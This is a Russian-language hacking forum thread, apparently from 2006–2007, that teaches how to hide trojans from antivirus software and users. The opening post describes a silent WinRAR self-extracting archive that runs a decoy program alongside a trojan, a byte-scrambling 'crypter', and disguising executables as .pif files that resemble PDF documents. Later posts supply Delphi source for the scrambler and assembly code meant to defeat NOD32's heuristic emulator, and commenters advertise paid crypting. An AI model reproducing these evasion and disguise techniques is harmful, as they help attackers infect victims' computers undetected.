Авторские статьи Прячем трояны от антивирусов, пользователей, собак и кошек =)

Discussion in 'Статьи' started by ReanimatoR, 3 Nov 2006.

Thread Status:
Not open for further replies.
  1. ReanimatoR

    ReanimatoR Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    175
    Likes Received:
    118
    Reputations:
    34
    И так у нас есть трой...НО он палится антивирями. Что делать? Идти покупать криптор - нет это не для нас... Писать свой трой или криптор - не все умеют, а иногда лень...
    Теперь мы сделаем это подручными средствами за минуту...
    Нужно: winRAR и программа crypter, написанная Talisman'ом специально для этого дела...
    1. Подготавливаем внутренность архива.
    Внутренности архива:

    Ваши файлы + 3 следующих файла:
    1. run.cmd
    2. 1.exe
    3. crypter.exe, найдете в конце статьи
    ----
    1.exe - и есть ваш троянчек.
    В run.cmd пишем следующее:
    Code:
    start yourprogramm.exe
    start crypter.exe
    start 1.exe
    exit
    
    , где yourprogramm.exe - ваша нормальная программа.
    Что это делает?
    при запуске run.cmd у нас запускается crypter.exe и все=)
    Теперь рассмотрим crypter.exe:
    Это всего навсего программа, которая меняет порядок байт в файле(то есть делает кашу). При первом запуске она меняет порядок файлов, при втором возвращает все на место.
    -----
    И так для первого шага кладем ваш exe'шный файл в какую-то папку, туда же кладем своего трояна с именем 1.exe, туда же кладем run.cmd с кодом выше^^ и туда же кладем cryptor.exe.
    Теперь запускаем crypter.exe и у нас файл перепутался и антивирус теперь не палит его...

    2. Делаем sfx архив:

    Выделяем наши файлы и жмем добавить в архив.

    Отмечаем пункт 'Создать SFX-архив'.

    Переходим на вкладку дополнительно и жмем 'Параметры SFX'.

    Переходим на вкладку Режимы и отмечаем пункт Скрыть все и Перезаписывать все файлы (теперь при запуске архива не будет выводиться никаких окон).


    Переходим на вкладку Общие. Нас будет интересовать путь для распаковки. Можно здесь прописать путь к папке в которую будут извлекаться файлы. Все файлы будут извлекаться в одну папку. Можете написать "%windir%".


    Иконку для результирующего исполняемого файла можно выбрать на вкладке Текст и Иконки , нажав на кнопку Обзор.

    На вкладке Общие в поле выполнить после распаковки пишем run.cmd
    ---------
    Дополнение:
    Переименуем любой exe файл в pif.
    О-ба! все работает так же=) но во-первых pif'a в винде не видно и во-вторых очень часто путают с документами Acrobat Reade'a ;)
    ---------
    Pif с непропатченным браузером IE запускается при клике на ссылку, не нужно нажимать сохранить и так далее...
    ---------
    Статья сделана на основе http://forum.antichat.ru/thread24979.html
    Она будет постепенно обновляться, так как у меня есть еще очень много полезных идей, чтоб замаскировать троян от антивирусов.
    ============================
    Crypter.exe:
    Работает только с файлом с именем 1.exe
    http://slil.ru/23344495
    Написал Talisman

    ============================
    Просьба писать о всех недочетах и ошибках, найденных в статье
     
    #1 ReanimatoR, 3 Nov 2006
    Last edited: 30 Jan 2007
    16 people like this.
  2. ~Real F@ck!~

    ~Real F@ck!~ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    322
    Likes Received:
    170
    Reputations:
    -8
    ReanimatoR каспер 6 палит, последние обновления, обновления за месяц! Антивирь палит ИМХО.
     
  3. ReanimatoR

    ReanimatoR Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    175
    Likes Received:
    118
    Reputations:
    34
    Ясное дело проактивная защита будет палить=)
    а проскань на вирусджоти = не будет...
    это еще не все=) я еще буду дописывать...
    100% не палящийся способ= на этом яб не плохо заработал=)
    А это инфа к размышлению и додумыванию
     
    1 person likes this.
  4. ~Real F@ck!~

    ~Real F@ck!~ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    322
    Likes Received:
    170
    Reputations:
    -8
    ReanimatoR ты б лучше криптор выложил для ламаков каких нибудь, у меня их довала, но они приватные и дать немогу(кстати я их взял бесплатно, сеть 2 месяца серфинговал)
     
  5. Ksander

    Ksander Elder - Старейшина

    Joined:
    21 Jun 2006
    Messages:
    554
    Likes Received:
    262
    Reputations:
    138
    Если выкладывать приватный криптор, то через пару дней о нем можно будет забыть, бо толку 0.
     
  6. -SMith-

    -SMith- Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    48
    Likes Received:
    23
    Reputations:
    -5
    ~Real F@ck!~
    Угумс, я видел....
    Как на dl, про тебя писали что ты ко всем в аси лез и просил криптор
    Смотреть тут
     
  7. ~Real F@ck!~

    ~Real F@ck!~ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    322
    Likes Received:
    170
    Reputations:
    -8
    ReanimatoR ненадо выкладывать криптор, я так к слову сказал, у меня их довала, а кому надо тот пусть тему или ещё что нить создаёт!
     
  8. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    405
    Likes Received:
    153
    Reputations:
    80
    Раскрою секрет криптора-кашеварителя :)
    вся его суть заключается в изменении сигнатур программы 1.exe - чтобы не палили антивири, как это проще всего сделать? менять местами байты экзешника, причем чтобы не гемороится - симметричным менять алгоритмом - запустил криптор четное число раз - ничего не изменилось, а нечетное - прога превратилась в мусор.
    Вот код на Делфи:
    Code:
    [COLOR=Green]program krip;[/COLOR]
    [COLOR=Green]uses[/COLOR]
      SysUtils, Classes; [COLOR=Red]// минимальный "карсет" программы[/COLOR]
    [COLOR=Green]var[/COLOR]
      [COLOR=DarkOrange]f[/COLOR]:tfileStream; [COLOR=Red]// переменная, в которую поместим криптуемый файл[/COLOR]
      [COLOR=DarkOrange]s1[/COLOR],[COLOR=DarkOrange]s2[/COLOR]:byte; [COLOR=Red]// перемещаемые байты[/COLOR]
      [COLOR=DarkOrange]s[/COLOR],[COLOR=DarkOrange]ss[/COLOR]:int64; [COLOR=Red]// адреса в 64 ричной системе[/COLOR]
      [COLOR=DarkOrange]i[/COLOR]:integer; [COLOR=Red]// просто счетчик)[/COLOR]
    [COLOR=Green]begin[/COLOR]
     [COLOR=DarkOrange]f[/COLOR]:=tfilestream.create('1.exe', fmOpenReadWrite); [COLOR=Red]// грузим файл на чтение и запись[/COLOR]
     [COLOR=DarkOrange]i[/COLOR]:=222; [COLOR=Red]// устанавливаем начальное значение счетчика в 222, чтобы не затереть PE - заголовок (хотя можно и затирать ) )[/COLOR]
      [COLOR=DarkRed]while[/COLOR] i<int([COLOR=DarkOrange]f[/COLOR].Size) [COLOR=DarkRed]do begin[/COLOR] [COLOR=Red]// пускаем цикл до длины файла[/COLOR]
       [COLOR=DarkOrange]s[/COLOR]:=int64([COLOR=DarkOrange]i[/COLOR]); [COLOR=Red]// преобразуем счетчик в адрес типа int64[/COLOR]
       [COLOR=DarkOrange]ss[/COLOR]:=int64([COLOR=DarkOrange]i[/COLOR]+1); //получаем адрес следующего байта
       [COLOR=DarkOrange]f[/COLOR].seek([COLOR=DarkOrange]s[/COLOR], soFromBeginning); [COLOR=Red]// переходим в файле на [COLOR=DarkOrange]s[/COLOR] байт с начала файла[/COLOR]
       [COLOR=DarkOrange]f[/COLOR].read([COLOR=DarkOrange]s1[/COLOR],sizeof(s1)); [COLOR=Red]// читаем значение байта в  [COLOR=DarkOrange]s1[/COLOR][/COLOR]
       [COLOR=DarkOrange]f[/COLOR].seek([COLOR=DarkOrange]ss[/COLOR], soFromBeginning); [COLOR=Red]// переходим в байт [COLOR=DarkOrange]ss[/COLOR] (следующий за [COLOR=DarkOrange]s[/COLOR])[/COLOR]
       [COLOR=DarkOrange]f[/COLOR].read([COLOR=DarkOrange]s2[/COLOR],sizeof(s2)); [COLOR=Red]// считываем [COLOR=DarkOrange]s2[/COLOR][/COLOR]
       [COLOR=DarkOrange]f[/COLOR].seek([COLOR=DarkOrange]s[/COLOR], soFromBeginning); [COLOR=Red]// переходим на [COLOR=DarkOrange]s[/COLOR][/COLOR]
       [COLOR=DarkOrange]f[/COLOR].Write([COLOR=DarkOrange]s2[/COLOR],sizeof(s2)); [COLOR=Red]// пишем [COLOR=DarkOrange]s2[/COLOR][/COLOR]
       [COLOR=DarkOrange]f[/COLOR].seek([COLOR=DarkOrange]ss[/COLOR], soFromBeginning); [COLOR=Red]// переходим на [COLOR=DarkOrange]ss[/COLOR][/COLOR]
       [COLOR=DarkOrange]f[/COLOR].Write([COLOR=DarkOrange]s1[/COLOR],sizeof(s1)); [COLOR=Red]// пишем [COLOR=DarkOrange]s1[/COLOR][/COLOR]
           [COLOR=Red]// т.е. мы поменяли местами 2 идущих подряд байта[/COLOR]
       [COLOR=DarkOrange]i[/COLOR]:=[COLOR=DarkOrange]i[/COLOR]+2; [COLOR=Red]// увеличиваем счетчик на 2, чтобы менять байты парами, а не "лесенкой"[/COLOR]
      [COLOR=DarkRed]end;[/COLOR] [COLOR=Red]// идем в начало цикла while[/COLOR]
     [COLOR=DarkOrange]f[/COLOR].free; [COLOR=Red]// освобождаем файл[/COLOR]
    [COLOR=Green]end. [/COLOR][COLOR=Red]// завершаем работу)[/COLOR]
    
     
    6 people like this.
  9. ~Real F@ck!~

    ~Real F@ck!~ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    322
    Likes Received:
    170
    Reputations:
    -8
    Talisman +1
    Ksander эт ты ачат позориш нах, я ваще в халяву попросился, меня непустили да ещё и вот это повесили, и ещё всё началось лиш из-за пинча 2.60 который с дамагелаба я выложил на античат!
    Mukis несмеши людей, я за 1$ криптую а ты за 3$ ! У меня ток аваст палит и сё, если у тебя даже нечё непалит ты что то с ценой загнул!
     
    1 person likes this.
  10. ReanimatoR

    ReanimatoR Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    175
    Likes Received:
    118
    Reputations:
    34
    Мда...собрались люди...
    1. удалите свой флуд. Разборки в ПМ
    2. это НЕ КРИПТОР! Это всего навсего штука, которая делает из файла КАШУ. И чтоб запустить файл, нужно опять запустить эту прогу=). Это можно делать любым архиватотром, который поддерживает раззиповку с паролем из командной строки(например Orien)
     
  11. Petr

    Petr Banned

    Joined:
    10 Jun 2006
    Messages:
    751
    Likes Received:
    392
    Reputations:
    -13
    Хорошая статья ;)
    вот тока один вопрос, у кого есть иконка фотографий в *.ico ?
     
  12. Petr

    Petr Banned

    Joined:
    10 Jun 2006
    Messages:
    751
    Likes Received:
    392
    Reputations:
    -13
    Блин у меня проблема, я все делаю по инструкции, запускаю уже гатовый архив мне пишет ошибку что типа фаил не евляется програмой для вин32,
    я как понимаю в run.cmd не выплолняется команда start crypter.exe
    раньше все норм работало, а теперь блин... :(
    может кто встречался с проблемой?
    + меня раньше в винраре где прописываеш адрес куда будет распоковывотся, можно было галку ставить абсолютный путь, а теперь как пропачтил винрар т.к. срок истек нильзя туда галку ставить :(
    вобще из-за чего может быть проблема?
     
  13. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,650
    Likes Received:
    754
    Reputations:
    397
    я вам сейчас возможно открою секрет, а возможно нет
    насколько я знаю у NOD32 самый мощный эвристик/эмулятор кода
    я придумал (возможно не я первый) его обходить таким способом:
    записать первым байтом ExitProcess retn (0xc3), вызвать ее а потом восстановить старый байт (надо его прочитать)
    выдираю код (с анти-интеллектульным мусором) из одной своей фигни (все исправлять уже очень лень)
    Code:
    	; WriteProcessMemory at kernel32.ExitProcess
    	mov eax, 0x1f
    	mov ecx, WriteProcessMemory+0x43
    	mov edi, ecx
    	inc eax
    	dec eax
    	lea ebx, [bwrite]
    	nop
    	nop
    	jmp nop5
    	dd 0x90909090
    	dd 0x90909090
    	dd 0x90909090
    	dd 0x90909090
    nop5:
    	push ebx
    	push 3
    	lea ebx, [cmd_retn]
    	push ebx
    	mov ebx, ExitProcess-2
    	inc ebx
    	sub ebx, -1
    	nop
    	nop
    	mov ecx, [ebx]
    	xchg ebx, ecx
    	sub eax, 2
    	nop
    	nop
    	aad
    	xor [cmd_retn], 0x55
    	jmp nop6
    	dd 0x90909090
    	dd 0x90909090
    	dd 0x90909090
    	dd 0x90909090
    nop6:
    	sub ebx, eax
    	push ebx
    	add dword [esp], 0x1f
    	dec dword [esp]
    	mov esi, edi
    	dec dword [esp]
    	push 1
    	dec dword [esp]
    	sub dword [esp], 1
    	mov ecx, esi
    	jmp nop7
    	dd 0x90909090
    	dd 0x90909090
    	dd 0x90909090
    	dd 0x90909090
    nop7:
    	call dword [ecx-0x43]
    	nop
    	nop
    ;        jmp ml
    
    	; goodbye, NOD32 heu
    	finvoke  ExitProcess, 0
    
    когда я это все делал, работало отлично. NOD видел завершение обычное процесса
    и весь код дальше его эмулятор не выполнял. далее можно расшифровывать любым алгоритмом остальной код и запускать его. На SEH нод не реагирует.

    Из этого помоему уже можно что-нибудь придумать.

    Добавьте некоторые старые антиотладочные приёмы, сделайте навесной расшифровщик постраничный
    и у вас получится офигенный криптор.

    хэк?
     
    #13 KEZ, 30 Jan 2007
    Last edited: 30 Jan 2007
    5 people like this.
  14. Fi$her

    Fi$her Member

    Joined:
    27 Jan 2007
    Messages:
    16
    Likes Received:
    5
    Reputations:
    0
    не, лучше уж я постаринке, хороший криптор + хороший джойнер))
     
  15. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,101
    Likes Received:
    783
    Reputations:
    213
    Тоже пробовал криптовать Sfx архивом, но чёт не помогало, а это прокатило =)
     
    1 person likes this.
  16. теща

    теща Экстрасенс

    Joined:
    14 Sep 2005
    Messages:
    2,106
    Likes Received:
    494
    Reputations:
    285
    полне согласен , НО товарисч помог тем которые ищут то что не могут сами зделать или написать , то есть комуто + и не тока кому то , а и от кавота если не забудут тож , я думаю не сложно 1 рах написать для кавота то есть для чайника что и как и почему , если он не дурак возможность использует ну а если дурак то увы , етот + в сторону каспера итп......
     
  17. Petr

    Petr Banned

    Joined:
    10 Jun 2006
    Messages:
    751
    Likes Received:
    392
    Reputations:
    -13
    Объясните пожалуйсто ну уже блин! почему у меня такая проблема?
    Проблема описана тут
     
  18. unfuck4bl3

    unfuck4bl3 New Member

    Joined:
    26 Jan 2007
    Messages:
    12
    Likes Received:
    1
    Reputations:
    0
    раскажы плз как мона ето все примерн написать
     
  19. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    405
    Likes Received:
    153
    Reputations:
    80
    фиговый архивер, с урезанным функционалом.
     
  20. 1337z0r

    1337z0r New Member

    Joined:
    13 Dec 2006
    Messages:
    2
    Likes Received:
    0
    Reputations:
    -1
    Всем привет у меня проблемма. При запуске файла, вирус не успевает вовремя перекодироваться и из-за этого ничего не работает. Теперь вопрос: Как поставить задержку на .cmd? Cпасибо.

    [​IMG]
     
Loading...
Similar Threads - Прячем трояны антивирусов
  1. madik
    Replies:
    22
    Views:
    17,961
  2. Veil
    Replies:
    17
    Views:
    10,019
  3. P3L3NG

    Авторские статьи Прячем файлы (Version 1.1)

    Replies:
    9
    Views:
    4,115
  4. mmvds

    Авторские статьи Исследуем трояны

    Replies:
    8
    Views:
    6,939
Thread Status:
Not open for further replies.